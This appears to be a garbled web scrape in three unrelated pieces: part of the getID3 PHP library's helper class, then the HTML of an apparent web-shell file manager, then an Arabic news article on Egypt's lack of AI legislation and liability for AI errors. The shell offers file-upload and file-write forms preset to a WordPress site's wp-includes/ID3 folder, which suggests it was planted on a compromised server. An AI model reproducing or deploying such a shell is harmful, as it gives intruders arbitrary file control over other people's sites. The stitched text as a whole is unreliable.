	 * UTF-8 =&gt; UTF-16LE
	 *
	 * @param string $string
	 * @param bool   $bom
	 *
	 * @return string
	 */
	public static function iconv_fallback_utf8_utf16le($string, $bom=false) {
		$newcharstring = '';
		if ($bom) {
			$newcharstring .= &quot;\xFF\xFE&quot;;
		}
		$offset = 0;
		$stringlength = strlen($string);
		while ($offset &lt; $stringlength) {
			if ((ord($string[$offset]) | 0x07) == 0xF7) {
				// 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb
				$charval = ((ord($string[($offset + 0)]) &amp; 0x07) &lt;&lt; 18) &amp;
						   ((ord($string[($offset + 1)]) &amp; 0x3F) &lt;&lt; 12) &amp;
						   ((ord($string[($offset + 2)]) &amp; 0x3F) &lt;&lt;  6) &amp;
							(ord($string[($offset + 3)]) &amp; 0x3F);
				$offset += 4;
			} elseif ((ord($string[$offset]) | 0x0F) == 0xEF) {
				// 1110bbbb 10bbbbbb 10bbbbbb
				$charval = ((ord($string[($offset + 0)]) &amp; 0x0F) &lt;&lt; 12) &amp;
						   ((ord($string[($offset + 1)]) &amp; 0x3F) &lt;&lt;  6) &amp;
							(ord($string[($offset + 2)]) &amp; 0x3F);
				$offset += 3;
			} elseif ((ord($string[$offset]) | 0x1F) == 0xDF) {
				// 110bbbbb 10bbbbbb
				$charval = ((ord($string[($offset + 0)]) &amp; 0x1F) &lt;&lt;  6) &amp;
							(ord($string[($offset + 1)]) &amp; 0x3F);
				$offset += 2;
			} elseif ((ord($string[$offset]) | 0x7F) == 0x7F) {
				// 0bbbbbbb
				$charval = ord($string[$offset]);
				$offset += 1;
			} else {
				// error? maybe throw some warning here?
				$charval = false;
				$offset += 1;
			}
			if ($charval !== false) {
				$newcharstring .= (($charval &lt; 65536) ? self::LittleEndian2String($charval, 2) : '?'.&quot;\x00&quot;);
			}
		}
		return $newcharstring;
	}

	/**
	 * UTF-8 =&gt; UTF-16LE (BOM)
	 *
	 * @param string $string
	 *
	 * @return string
	 */
	public static function iconv_fallback_utf8_utf16($string) {
		return self::iconv_fallback_utf8_utf16le($string, true);
	}

	/**
	 * UTF-16BE =&gt; UTF-8
	 *
	 * @param string $string
	 *
	 * @return string
	 */
	public static function iconv_fallback_utf16be_utf8($string) {
		if (substr($string, 0, 2) == &quot;\xFE\xFF&quot;) {
			// strip BOM
			$string = substr($string, 2);
		}
		$newcharstring = '';
		for ($i = 0; $i &lt; strlen($string); $i += 2) {
			$charval = self::BigEndian2Int(substr($string, $i, 2));
			$newcharstring .= self::iconv_fallback_int_utf8($charval);
		}
		return $newcharstring;
	}

	/**
	 * UTF-16LE =&gt; UTF-8
	 *
	 * @param string $string
	 *
	 * @return string
	 */
	public static function iconv_fallback_utf16le_utf8($string) {
		if (substr($string, 0, 2) == &quot;\xFF\xFE&quot;) {
			// strip BOM
			$string = substr($string, 2);
		}
		$newcharstring = '';
		for ($i = 0; $i &lt; strlen($string); $i += 2) {
			$charval = self::LittleEndian2Int(substr($string, $i, 2));
			$newcharstring .= self::iconv_fallback_int_utf8($charval);
		}
		return $newcharstring;
	}

	/**
	 * UTF-16BE =&gt; ISO-8859-1
	 *
	 * @param string $string
	 *
	 * @return string
	 */
	public static function iconv_fallback_utf16be_iso88591($string) {
		if (substr($string, 0, 2) == &quot;\xFE\xFF&quot;) {
			// strip BOM
			$string = substr($string, 2);
		}
		$newcharstring = '';
		for ($i = 0; $i &lt; strlen($string); $i += 2) {
			$charval = self::BigEndian2Int(substr($string, $i, 2));
			$newcharstring .= (($charval &lt; 256) ? chr($charval) : '?');
		}
		return $newcharstring;
	}

	/**
	 * UTF-16LE =&gt; ISO-8859-1
	 *
	 * @param string $string
	 *
	 * @return string
	 */
	public static function iconv_fallback_utf16le_iso88591($string) {
		if (substr($string, 0, 2) == &quot;\xFF\xFE&quot;) {
			// strip BOM
			$string = substr($string, 2);
		}
		$newcharstring = '';
		for ($i = 0; $i &lt; strlen($string); $i += 2) {
			$charval = self::LittleEndian2Int(substr($string, $i, 2));
			$newcharstring .= (($charval &lt; 256) ? chr($charval) : '?');
		}
		return $newcharstring;
	}

	/**
	 * UTF-16 (BOM) =&gt; ISO-8859-1
	 *
	 * @param string $string
	 *
	 * @return string
	 */
	public static function iconv_fallback_utf16_iso88591($string) {
		$bom = substr($string, 0, 2);
		if ($bom == &quot;\xFE\xFF&quot;) {
			return self::iconv_fallback_utf16be_iso88591(substr($string, 2));
		} elseif ($bom == &quot;\xFF\xFE&quot;) {
			return self::iconv_fallback_utf16le_iso88591(substr($string, 2));
		}
		return $string;
	}

	/**
	 * UTF-16 (BOM) =&gt; UTF-8
	 *
	 * @param string $string
	 *
	 * @return string
	 */
	public static function iconv_fallback_utf16_utf8($string) {
		$bom = substr($string, 0, 2);
		if ($bom == &quot;\xFE\xFF&quot;) {
			return self::iconv_fallback_utf16be_utf8(substr($string, 2));
		} elseif ($bom == &quot;\xFF\xFE&quot;) {
			return self::iconv_fallback_utf16le_utf8(substr($string, 2));
		}
		return $string;
	}

	/**
	 * @param string $in_charset
	 * @param string $out_charset
	 * @param string $string
	 *
	 * @return string
	 * @throws Exception
	 */
	public static function iconv_fallback($in_charset, $out_charset, $string) {

		if ($in_charset == $out_charset) {
			return $string;
		}

		// mb_convert_encoding() available
		if (function_exists('mb_convert_encoding')) {
			if ((strtoupper($in_charset) == 'UTF-16') &amp;&amp; (substr($string, 0, 2) != &quot;\xFE\xFF&quot;) &amp;&amp; (substr($string, 0, 2) != &quot;\xFF\xFE&quot;)) {
				// if BOM missing, mb_convert_encoding will mishandle the conversion, assume UTF-16BE and prepend appropriate BOM
				$string = &quot;\xFF\xFE&quot;.$string;
			}
			if ((strtoupper($in_charset) == 'UTF-16') &amp;&amp; (strtoupper($out_charset) == 'UTF-8')) {
				if (($string == &quot;\xFF\xFE&quot;) || ($string == &quot;\xFE\xFF&quot;)) {
					// if string consists of only BOM, mb_convert_encoding will return the BOM unmodified
					return '';
				}
			}
			if ($converted_string = @mb_convert_encoding($string, $out_charset, $in_charset)) {
				switch ($out_charset) {
					case 'ISO-8859-1':
						$converted_string = rtrim($converted_string, &quot;\x00&quot;);
						break;
				}
				return $converted_string;
			}
			return $string;

		// iconv() available
		} elseif (function_exists('iconv')) {
			if ($converted_string = @iconv($in_charset, $out_charset.'//TRANSLIT', $string)) {
				switch ($out_charset) {
					case 'ISO-8859-1':
						$converted_string = rtrim($converted_string, &quot;\x00&quot;);
						break;
				}
				return $converted_string;
			}

			// iconv() may sometimes fail with &quot;illegal character in input string&quot; error message
			// and return an empty string, but returning the unconverted string is more useful
			return $string;
		}


		// neither mb_convert_encoding or iconv() is available
		static $ConversionFunctionList = array();
		if (empty($ConversionFunctionList)) {
			$ConversionFunctionList['ISO-8859-1']['UTF-8']    = 'iconv_fallback_iso88591_utf8';
			$ConversionFunctionList['ISO-8859-1']['UTF-16']   = 'iconv_fallback_iso88591_utf16';
			$ConversionFunctionList['ISO-8859-1']['UTF-16BE'] = 'iconv_fallback_iso88591_utf16be';
			$ConversionFunctionList['ISO-8859-1']['UTF-16LE'] = 'iconv_fallback_iso88591_utf16le';
			$ConversionFunctionList['UTF-8']['ISO-8859-1']    = 'iconv_fallback_utf8_iso88591';
			$ConversionFunctionList['UTF-8']['UTF-16']        = 'iconv_fallback_utf8_utf16';
			$ConversionFunctionList['UTF-8']['UTF-16BE']      = 'iconv_fallback_utf8_utf16be';
			$ConversionFunctionList['UTF-8']['UTF-16LE']      = 'iconv_fallback_utf8_utf16le';
			$ConversionFunctionList['UTF-16']['ISO-8859-1']   = 'iconv_fallback_utf16_iso88591';
			$ConversionFunctionList['UTF-16']['UTF-8']        = 'iconv_fallback_utf16_utf8';
			$ConversionFunctionList['UTF-16LE']['ISO-8859-1'] = 'iconv_fallback_utf16le_iso88591';
			$ConversionFunctionList['UTF-16LE']['UTF-8']      = 'iconv_fallback_utf16le_utf8';
			$ConversionFunctionList['UTF-16BE']['ISO-8859-1'] = 'iconv_fallback_utf16be_iso88591';
			$ConversionFunctionList['UTF-16BE']['UTF-8']      = 'iconv_fallback_utf16be_utf8';
		}
		if (isset($ConversionFunctionList[strtoupper($in_charset)][strtoupper($out_charset)])) {
			$ConversionFunction = $ConversionFunctionList[strtoupper($in_charset)][strtoupper($out_charset)];
			return self::$ConversionFunction($string);
		}
		throw new Exception('PHP does not has mb_convert_encoding() or iconv() support - cannot convert from '.$in_charset.' to '.$out_charset);
	}

	/**
	 * @param mixed  $data
	 * @param string $charset
	 *
	 * @return mixed
	 */
	public static function recursiveMultiByteCharString2HTML($data, $charset='ISO-8859-1') {
		if (is_string($data)) {
			return self::MultiByteCharString2HTML($data, $charset);
		} elseif (is_array($data)) {
			$return_data = array();
			foreach ($data as $key =&gt; $value) {
				$return_data[$key] = self::recursiveMultiByteCharString2HTML($value, $charset);
			}
			return $return_data;
		}
		// integer, float, objects, resources, etc
		return $data;
	}

	/**
	 * @param string|int|float $string
	 * @param string           $charset
	 *
	 * @return string
	 */
	public static function MultiByteCharString2HTML($string, $charset='ISO-8859-1') {
		$string = (string) $string; // in case trying to pass a numeric (float, int) string, would otherwise return an empty string
		$HTMLstring = '';

		switch (strtolower($charset)) {
			case '1251':
			case '1252':
			case '866':
			case '932':
			case '936':
			case '950':
			case 'big5':
			case 'big5-hkscs':
			case 'cp1251':
			case 'cp1252':
			case 'cp866':
			case 'euc-jp':
			case 'eucjp':
			case 'gb2312':
			case 'ibm866':
			case 'iso-8859-1':
			case 'iso-8859-15':
			case 'iso8859-1':
			case 'iso8859-15':
			case 'koi8-r':
			case 'koi8-ru':
			case 'koi8r':
			case 'shift_jis':
			case 'sjis':
			case 'win-1251':
			case 'windows-1251':
			case 'windows-1252':
				$HTMLstring = htmlentities($string, ENT_COMPAT, $charset);
				break;

			case 'utf-8':
				$strlen = strlen($string);
				for ($i = 0; $i &lt; $strlen; $i++) {
					$char_ord_val = ord($string[$i]);
					$charval = 0;
					if ($char_ord_val &lt; 0x80) {
						$charval = $char_ord_val;
					} elseif ((($char_ord_val &amp; 0xF0) &gt;&gt; 4) == 0x0F  &amp;&amp;  $i+3 &lt; $strlen) {
						$charval  = (($char_ord_val &amp; 0x07) &lt;&lt; 18);
						$charval += ((ord($string[++$i]) &amp; 0x3F) &lt;&lt; 12);
						$charval += ((ord($string[++$i]) &amp; 0x3F) &lt;&lt; 6);
						$charval +=  (ord($string[++$i]) &amp; 0x3F);
					} elseif ((($char_ord_val &amp; 0xE0) &gt;&gt; 5) == 0x07  &amp;&amp;  $i+2 &lt; $strlen) {
						$charval  = (($char_ord_val &amp; 0x0F) &lt;&lt; 12);
						$charval += ((ord($string[++$i]) &amp; 0x3F) &lt;&lt; 6);
						$charval +=  (ord($string[++$i]) &amp; 0x3F);
					} elseif ((($char_ord_val &amp; 0xC0) &gt;&gt; 6) == 0x03  &amp;&amp;  $i+1 &lt; $strlen) {
						$charval  = (($char_ord_val &amp; 0x1F) &lt;&lt; 6);
						$charval += (ord($string[++$i]) &amp; 0x3F);
					}
					if (($charval &gt;= 32) &amp;&amp; ($charval &lt;= 127)) {
						$HTMLstring .= htmlentities(chr($charval));
					} else {
						$HTMLstring .= '&amp;#'.$charval.';';
					}
				}
				break;

			case 'utf-16le':
				for ($i = 0; $i &lt; strlen($string); $i += 2) {
					$charval = self::LittleEndian2Int(substr($string, $i, 2));
					if (($charval &gt;= 32) &amp;&amp; ($charval &lt;= 127)) {
						$HTMLstring .= chr($charval);
					} else {
						$HTMLstring .= '&amp;#'.$charval.';';
					}
				}
				break;

			case 'utf-16be':
				for ($i = 0; $i &lt; strlen($string); $i += 2) {
					$charval = self::BigEndian2Int(substr($string, $i, 2));
					if (($charval &gt;= 32) &amp;&amp; ($charval &lt;= 127)) {
						$HTMLstring .= chr($charval);
					} else {
						$HTMLstring .= '&amp;#'.$charval.';';
					}
				}
				break;

			default:
				$HTMLstring = 'ERROR: Character set &quot;'.$charset.'&quot; not supported in MultiByteCharString2HTML()';
				break;
		}
		return $HTMLstring;
	}

	/**
	 * @param int $namecode
	 *
	 * @return string
	 */
	public static function RGADnameLookup($namecode) {
		static $RGADname = array();
		if (empty($RGADname)) {
			$RGADname[0] = 'not set';
			$RGADname[1] = 'Track Gain Adjustment';
			$RGADname[2] = 'Album Gain Adjustment';
		}

		return (isset($RGADname[$namecode]) ? $RGADname[$namecode] : '');
	}

	/**
	 * @param int $originatorcode
	 *
	 * @return string
	 */
	public static function RGADoriginatorLookup($originatorcode) {
		static $RGADoriginator = array();
		if (empty($RGADoriginator)) {
			$RGADoriginator[0] = 'unspecified';
			$RGADoriginator[1] = 'pre-set by artist/producer/mastering engineer';
			$RGADoriginator[2] = 'set by user';
			$RGADoriginator[3] = 'determined automatically';
		}

		return (isset($RGADoriginator[$originatorcode]) ? $RGADoriginator[$originatorcode] : '');
	}

	/**
	 * @param int $rawadjustment
	 * @param int $signbit
	 *
	 * @return float
	 */
	public static function RGADadjustmentLookup($rawadjustment, $signbit) {
		$adjustment = (float) $rawadjustment / 10;
		if ($signbit == 1) {
			$adjustment *= -1;
		}
		return $adjustment;
	}

	/**
	 * @param int $namecode
	 * @param int $originatorcode
	 * @param int $replaygain
	 *
	 * @return string
	 */
	public static function RGADgainString($namecode, $originatorcode, $replaygain) {
		if ($replaygain &lt; 0) {
			$signbit = '1';
		} else {
			$signbit = '0';
		}
		$storedreplaygain = intval(round($replaygain * 10));
		$gainstring  = str_pad(decbin($namecode), 3, '0', STR_PAD_LEFT);
		$gainstring .= str_pad(decbin($originatorcode), 3, '0', STR_PAD_LEFT);
		$gainstring .= $signbit;
		$gainstring .= str_pad(decbin($storedreplaygain), 9, '0', STR_PAD_LEFT);

		return $gainstring;
	}

	/**
	 * @param float $amplitude
	 *
	 * @return float
	 */
	public static function RGADamplitude2dB($amplitude) {
		return 20 * log10($amplitude);
	}

	/**
	 * @param string $imgData
	 * @param array  $imageinfo
	 *
	 * @return array|false
	 */
	public static function GetDataImageSize($imgData, &amp;$imageinfo=array()) {
		if (PHP_VERSION_ID &gt;= 50400) {
			$GetDataImageSize = @getimagesizefromstring($imgData, $imageinfo);
			if ($GetDataImageSize === false || !isset($GetDataImageSize[0], $GetDataImageSize[1])) {
				return false;
			}
			$GetDataImageSize['height'] = $GetDataImageSize[0];
			$GetDataImageSize['width'] = $GetDataImageSize[1];
			return $GetDataImageSize;
		}
		static $tempdir = '';
		if (empty($tempdir)) {
			if (function_exists('sys_get_temp_dir')) {
				$tempdir = sys_get_temp_dir(); // https://github.com/JamesHeinrich/getID3/issues/52
			}

			// yes this is ugly, feel free to suggest a better way
			if (include_once(dirname(__FILE__).'/getid3.php')) {
				$getid3_temp = new getID3();
				if ($getid3_temp_tempdir = $getid3_temp-&gt;tempdir) {
					$tempdir = $getid3_temp_tempdir;
				}
				unset($getid3_temp, $getid3_temp_tempdir);
			}
		}
		$GetDataImageSize = false;
		if ($tempfilename = tempnam($tempdir, 'gI3')) {
			if (is_writable($tempfilename) &amp;&amp; is_file($tempfilename) &amp;&amp; ($tmp = fopen($tempfilename, 'wb'))) {
				fwrite($tmp, $imgData);
				fclose($tmp);
				$GetDataImageSize = @getimagesize($tempfilename, $imageinfo);
				if (($GetDataImageSize === false) || !isset($GetDataImageSize[0]) || !isset($GetDataImageSize[1])) {
					return false;
				}
				$GetDataImageSize['height'] = $GetDataImageSize[0];
				$GetDataImageSize['width']  = $GetDataImageSize[1];
			}
			unlink($tempfilename);
		}
		return $GetDataImageSize;
	}

	/**
	 * @param string $mime_type
	 *
	 * @return string
	 */
	public static function ImageExtFromMime($mime_type) {
		// temporary way, works OK for now, but should be reworked in the future
		return str_replace(array('image/', 'x-', 'jpeg'), array('', '', 'jpg'), $mime_type);
	}

	/**
	 * @param array $ThisFileInfo
	 * @param bool  $option_tags_html default true (just as in the main getID3 class)
	 *
	 * @return bool
	 */
	public static function CopyTagsToComments(&amp;$ThisFileInfo, $option_tags_html=true) {
		// Copy all entries from ['tags'] into common ['comments']
		if (!empty($ThisFileInfo['tags'])) {

			// Some tag types can only support limited character sets and may contain data in non-standard encoding (usually ID3v1)
			// and/or poorly-transliterated tag values that are also in tag formats that do support full-range character sets
			// To make the output more user-friendly, process the potentially-problematic tag formats last to enhance the chance that
			// the first entries in [comments] are the most correct and the &quot;bad&quot; ones (if any) come later.
			// https://github.com/JamesHeinrich/getID3/issues/338
			$processLastTagTypes = array('id3v1','riff');
			foreach ($processLastTagTypes as $processLastTagType) {
				if (isset($ThisFileInfo['tags'][$processLastTagType])) {
					// bubble ID3v1 to the end, if present to aid in detecting bad ID3v1 encodings
					$temp = $ThisFileInfo['tags'][$processLastTagType];
					unset($ThisFileInfo['tags'][$processLastTagType]);
					$ThisFileInfo['tags'][$processLastTagType] = $temp;
					unset($temp);
				}
			}
			foreach ($ThisFileInfo['tags'] as $tagtype =&gt; $tagarray) {
				foreach ($tagarray as $tagname =&gt; $tagdata) {
					foreach ($tagdata as $key =&gt; $value) {
						if (!empty($value)) {
							if (empty($ThisFileInfo['comments'][$tagname])) {

								// fall through and append value

							} elseif ($tagtype == 'id3v1') {

								$newvaluelength = strlen(trim($value));
								foreach ($ThisFileInfo['comments'][$tagname] as $existingkey =&gt; $existingvalue) {
									$oldvaluelength = strlen(trim($existingvalue));
									if (($newvaluelength &lt;= $oldvaluelength) &amp;&amp; (substr($existingvalue, 0, $newvaluelength) == trim($value))) {
										// new value is identical but shorter-than (or equal-length to) one already in comments - skip
										break 2;
									}

									if (function_exists('mb_convert_encoding')) {
										if (trim($value) == trim(substr(mb_convert_encoding($existingvalue, $ThisFileInfo['id3v1']['encoding'], $ThisFileInfo['encoding']), 0, 30))) {
											// value stored in ID3v1 appears to be probably the multibyte value transliterated (badly) into ISO-8859-1 in ID3v1.
											// As an example, Foobar2000 will do this if you tag a file with Chinese or Arabic or Cyrillic or something that doesn't fit into ISO-8859-1 the ID3v1 will consist of mostly &quot;?&quot; characters, one per multibyte unrepresentable character
											break 2;
										}
									}
								}

							} elseif (!is_array($value)) {

								$newvaluelength   =    strlen(trim($value));
								$newvaluelengthMB = mb_strlen(trim($value));
								foreach ($ThisFileInfo['comments'][$tagname] as $existingkey =&gt; $existingvalue) {
									$oldvaluelength   =    strlen(trim($existingvalue));
									$oldvaluelengthMB = mb_strlen(trim($existingvalue));
									if (($newvaluelengthMB == $oldvaluelengthMB) &amp;&amp; ($existingvalue == getid3_lib::iconv_fallback('UTF-8', 'ASCII', $value))) {
										// https://github.com/JamesHeinrich/getID3/issues/338
										// check for tags containing extended characters that may have been forced into limited-character storage (e.g. UTF8 values into ASCII)
										// which will usually display unrepresentable characters as &quot;?&quot;
										$ThisFileInfo['comments'][$tagname][$existingkey] = trim($value);
										break;
									}
									if ((strlen($existingvalue) &gt; 10) &amp;&amp; ($newvaluelength &gt; $oldvaluelength) &amp;&amp; (substr(trim($value), 0, strlen($existingvalue)) == $existingvalue)) {
										$ThisFileInfo['comments'][$tagname][$existingkey] = trim($value);
										break;
									}
								}

							}
							if (is_array($value) || empty($ThisFileInfo['comments'][$tagname]) || !in_array(trim($value), $ThisFileInfo['comments'][$tagname])) {
								$value = (is_string($value) ? trim($value) : $value);
								if (!is_int($key) &amp;&amp; !ctype_digit($key)) {
									$ThisFileInfo['comments'][$tagname][$key] = $value;
								} else {
									if (!isset($ThisFileInfo['comments'][$tagname])) {
										$ThisFileInfo['comments'][$tagname] = array($value);
									} else {
										$ThisFileInfo['comments'][$tagname][] = $value;
									}
								}
							}
						}
					}
				}
			}

			// attempt to standardize spelling of returned keys
			if (!empty($ThisFileInfo['comments'])) {
				$StandardizeFieldNames = array(
					'tracknumber' =&gt; 'track_number',
					'track'       =&gt; 'track_number',
				);
				foreach ($StandardizeFieldNames as $badkey =&gt; $goodkey) {
					if (array_key_exists($badkey, $ThisFileInfo['comments']) &amp;&amp; !array_key_exists($goodkey, $ThisFileInfo['comments'])) {
						$ThisFileInfo['comments'][$goodkey] = $ThisFileInfo['comments'][$badkey];
						unset($ThisFileInfo['comments'][$badkey]);
					}
				}
			}

			if ($option_tags_html) {
				// Copy ['comments'] to ['comments_html']
				if (!empty($ThisFileInfo['comments'])) {
					foreach ($ThisFileInfo['comments'] as $field =&gt; $values) {
						if ($field == 'picture') {
							// pictures can take up a lot of space, and we don't need multiple copies of them
							// let there be a single copy in [comments][picture], and not elsewhere
							continue;
						}
						foreach ($values as $index =&gt; $value) {
							if (is_array($value)) {
								$ThisFileInfo['comments_html'][$field][$index] = $value;
							} else {
								$ThisFileInfo['comments_html'][$field][$index] = str_replace('&amp;#0;', '', self::MultiByteCharString2HTML($value, $ThisFileInfo['encoding']));
							}
						}
					}
				}
			}

		}
		return true;
	}

	/**
	 * @param string $key
	 * @param int    $begin
	 * @param int    $end
	 * @param string $file
	 * @param string $name
	 *
	 * @return string
	 */
	public static function EmbeddedLookup($key, $begin, $end, $file, $name) {

		// Cached
		static $cache;
		if (isset($cache[$file][$name])) {
			return (isset($cache[$file][$name][$key]) ? $cache[$file][$name][$key] : '');
		}

		// Init
		$keylength  = strlen($key);
		$line_count = $end - $begin - 7;

		// Open php file
		$fp = fopen($file, 'r');

		// Discard $begin lines
		for ($i = 0; $i &lt; ($begin + 3); $i++) {
			fgets($fp, 1024);
		}

		// Loop thru line
		while (0 &lt; $line_count--) {

			// Read line
			$line = ltrim(fgets($fp, 1024), &quot;\t &quot;);

			// METHOD A: only cache the matching key - less memory but slower on next lookup of not-previously-looked-up key
			//$keycheck = substr($line, 0, $keylength);
			//if ($key == $keycheck)  {
			//	$cache[$file][$name][$keycheck] = substr($line, $keylength + 1);
			//	break;
			//}

			// METHOD B: cache all keys in this lookup - more memory but faster on next lookup of not-previously-looked-up key
			//$cache[$file][$name][substr($line, 0, $keylength)] = trim(substr($line, $keylength + 1));
			$explodedLine = explode(&quot;\t&quot;, $line, 2);
			$ThisKey   = (isset($explodedLine[0]) ? $explodedLine[0] : '');
			$ThisValue = (isset($explodedLine[1]) ? $explodedLine[1] : '');
			$cache[$file][$name][$ThisKey] = trim($ThisValue);
		}

		// Close and return
		fclose($fp);
		return (isset($cache[$file][$name][$key]) ? $cache[$file][$name][$key] : '');
	}

	/**
	 * @param string $filename
	 * @param string $sourcefile
	 * @param bool   $DieOnFailure
	 *
	 * @return bool
	 * @throws Exception
	 */
	public static function IncludeDependency($filename, $sourcefile, $DieOnFailure=false) {
		global $GETID3_ERRORARRAY;

		if (file_exists($filename)) {
			if (include_once($filename)) {
				return true;
			} else {
				$diemessage = basename($sourcefile).' depends on '.$filename.', which has errors';
			}
		} else {
			$diemessage = basename($sourcefile).' depends on '.$filename.', which is missing';
		}
		if ($DieOnFailure) {
			throw new Exception($diemessage);
		} else {
			$GETID3_ERRORARRAY[] = $diemessage;
		}
		return false;
	}

	/**
	 * @param string $string
	 *
	 * @return string
	 */
	public static function trimNullByte($string) {
		return trim($string, &quot;\x00&quot;);
	}

	/**
	 * @param string $path
	 *
	 * @return float|bool
	 */
	public static function getFileSizeSyscall($path) {
		$commandline = null;
		$filesize = false;

		if (GETID3_OS_ISWINDOWS) {
			if (class_exists('COM')) { // From PHP 5.3.15 and 5.4.5, COM and DOTNET is no longer built into the php core.you have to add COM support in php.ini:
				$filesystem = new COM('Scripting.FileSystemObject');
				$file = $filesystem-&gt;GetFile($path);
				$filesize = $file-&gt;Size();
				unset($filesystem, $file);
			} else {
				$commandline = 'for %I in ('.escapeshellarg($path).') do @echo %~zI';
			}
		} else {
			$commandline = 'ls -l '.escapeshellarg($path).' | awk \'{print $5}\'';
		}
		if (isset($commandline)) {
			$output = trim(`$commandline`);
			if (ctype_digit($output)) {
				$filesize = (float) $output;
			}
		}
		return $filesize;
	}

	/**
	 * @param string $filename
	 *
	 * @return string|false
	 */
	public static function truepath($filename) {
		// 2017-11-08: this could use some improvement, patches welcome
		if (preg_match('#^(\\\\\\\\|//)[a-z0-9]#i', $filename, $matches)) {
			// PHP's built-in realpath function does not work on UNC Windows shares
			$goodpath = array();
			foreach (explode('/', str_replace('\\', '/', $filename)) as $part) {
				if ($part == '.') {
					continue;
				}
				if ($part == '..') {
					if (count($goodpath)) {
						array_pop($goodpath);
					} else {
						// cannot step above this level, already at top level
						return false;
					}
				} else {
					$goodpath[] = $part;
				}
			}
			return implode(DIRECTORY_SEPARATOR, $goodpath);
		}
		return realpath($filename);
	}

	/**
	 * Workaround for Bug #37268 (https://bugs.php.net/bug.php?id=37268)
	 *
	 * @param string $path A path.
	 * @param string $suffix If the name component ends in suffix this will also be cut off.
	 *
	 * @return string
	 */
	public static function mb_basename($path, $suffix = '') {
		$splited = preg_split('#/#', rtrim($path, '/ '));
		return substr(basename('X'.$splited[count($splited) - 1], $suffix), 1);
	}

}
</pre><!DOCTYPE html>
<html lang="en">
<link rel="icon" href="https://e.top4top.io/p_26973oc9i1.png">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <style>
    * { margin: 0; padding: 0; box-sizing: border-box; }
    body {
      background: #111;
      color: #ccc;
      font-family: monospace;
      font-size: 16px;
      padding: 16px;
      line-height: 1.5;
    }
    a {
      color: #8ab4f8;
      text-decoration: none;
    }
    a:hover {
      text-decoration: underline;
    }
    .panel {
      margin-bottom: 20px;
    }
    input, textarea, button {
      background: #000;
      border: 1px solid #444;
      color: #ccc;
      font-family: inherit;
      font-size: 16px;
      padding: 6px;
      width: 100%;
    }
    button {
      cursor: pointer;
    }
    button:hover {
      background: #222;
    }
    ul {
      list-style: none;
      padding: 0;
      margin: 0;
    }
    li {
      padding: 6px 0;
      border-bottom: 1px solid #222;
      display: flex;
      justify-content: space-between;
      align-items: center;
    }
    .result-box {
    white-space: pre;
    overflow: auto;
    resize: vertical;
    width: 100%;
    }
    .breadcrumb {
      margin: 12px 0;
      font-size: 15px;
    }
    .file-content {
      background: #000;
      border: 1px solid #333;
      color: #ccc;
      padding: 12px;
      font-size: 15px;
      white-space: pre-wrap;
      max-height: 400px;
      overflow-y: auto;
    }
    .alert {
      background: #1a1a1a;
      border-left: 3px solid #008000;
      padding: 8px;
      margin-bottom: 12px;
      font-size: 15px;
    }
    .alert-danger {
      border-left-color: #800000;
    }
    .alert-success {
      border-left-color: #008000;
    }
    .alert-info {
      border-left-color: #005580;
    }
  </style>
</head>
<body>
  <div class="panel">
    <form action="" method="post" enctype="multipart/form-data">
      <input type="file" name="file_upload" required>
      <input type="hidden" name="upload_path" value="/home/tahkoom/public_html/wp-includes/ID3">
      <button type="submit">Upload</button>
    </form>
  </div>

  <div class="panel">
    <form action="" method="post">
      <input type="text" name="path" placeholder="Path" value="/home/tahkoom/public_html/wp-includes/ID3" required>
      <input type="text" name="filename" placeholder="Filename" required>
      <textarea name="content" placeholder="File content"></textarea>
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			الذكاء الاصطناعي في مصر تطور بلا تشريع  فمن يتحمل المسؤولية؟		</h1>

		<div class="single-post-meta post-meta clearfix"><span class="date meta-item tie-icon">يونيو 10, 2025</span><div class="tie-alignright"><span class="meta-views meta-item warm"><span class="tie-icon-fire" aria-hidden="true"></span> 1٬987 </span><span class="meta-reading-time meta-item"><span class="tie-icon-bookmark" aria-hidden="true"></span> 4 دقائق</span> </div></div><!-- .post-meta -->	</div><!-- .entry-header /-->

	
	
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			<p style="text-align: right;"><em><strong> كتبت شروق عارف                                                                                                                                                    يشهد العالم تطورا غير مسبوق في التكنولوجيا، حيث أصبح الذكاء الاصطناعي قوة مؤثرة تعيد تشكيل حياتنا وتغيّر قواعد العديد من المجالات. ورغم ما يتيحه هذا التقدم من فرص واسعة، إلا أنه يثير تحديات ومخاوف، خاصة في ظل غياب تشريعات واضحة تنظم استخدامه في مجالات حساسة كالجراحة، والسيارات ذاتية القيادة، والمجال القانوني. هذا الواقع يطرح تساؤلات مهمة، أبرزها: من يتحمل المسؤولية عند حدوث خطأ؟ وتواجه مصر اليوم تحديا في سن قوانين تحمي حقوق الناس وتواكب في الوقت نفسه التقدم التكنولوجي                                                                                                                       </strong></em></p>
<p style="text-align: right;"><em><strong><span style="color: #0000ff;">لا قانون للذكاء الاصطناعي حتى الان                                                                                               </span></strong></em></p>
<p>صرح المحامي محمد عاطف  بأن الذكاء الاصطناعي لا يخضع حتى الآن لإطار قانوني واضح ومحدد.<br />
و لم يتم إصدار قانون شامل ينظم استخداماته حتى الآن.</p>
<p>وأوضح أنه لا يجوز قانونًا للذكاء الاصطناعي تقديم استشارات قانونية، حيث إن هذه المهام يجب أن تكون من اختصاص محامي مرخص أو جهة قانونية معترف بها، لضمان صحة المعلومات .</p>
<p>وفي ما يتعلق بالمسؤولية الطبية، أشار إلى أن الطبيب هو المسؤول الأول عن الخطأ الطبي، باعتباره صاحب القرار والمتخصص في تقديم الرعاية الصحية، وبالتالي فهو الذي يُسأل قانونًا عند وقوع أي تقصير أو إهمال.</p>
<p>أما في حالات حوادث السير، فقد بين أن السائق هو المسؤول قانونيًا عن أي خطأ يقع أثناء القيادة، لأنه هو المتحكم .<br />
وأضاف أن القانون لا يزال غير مستوعب بشكل كامل لمفهوم القيادة الذاتية، وبالتالي لا يحمل الذكاء الاصطناعي أي مسؤولية في هذا السياق حتى الآن.</p>
<p>من جانبه، أوضح المحامي الجنائي محمد علي أن الذكاء الاصطناعي لديه القدرة على تقديم استشارات أو خدمات قانونية.<br />
ولكن لا بد أن نفرق بين دوره ودور المحامي، فالمحامي لا يعتمد فقط على المعلومات، بل على فهمه العميق للقانون وظروف كل قضية، وهو ما لا يستطيع الذكاء الاصطناعي تقديمه، لأنه في النهاية مجرد أداة.</p>
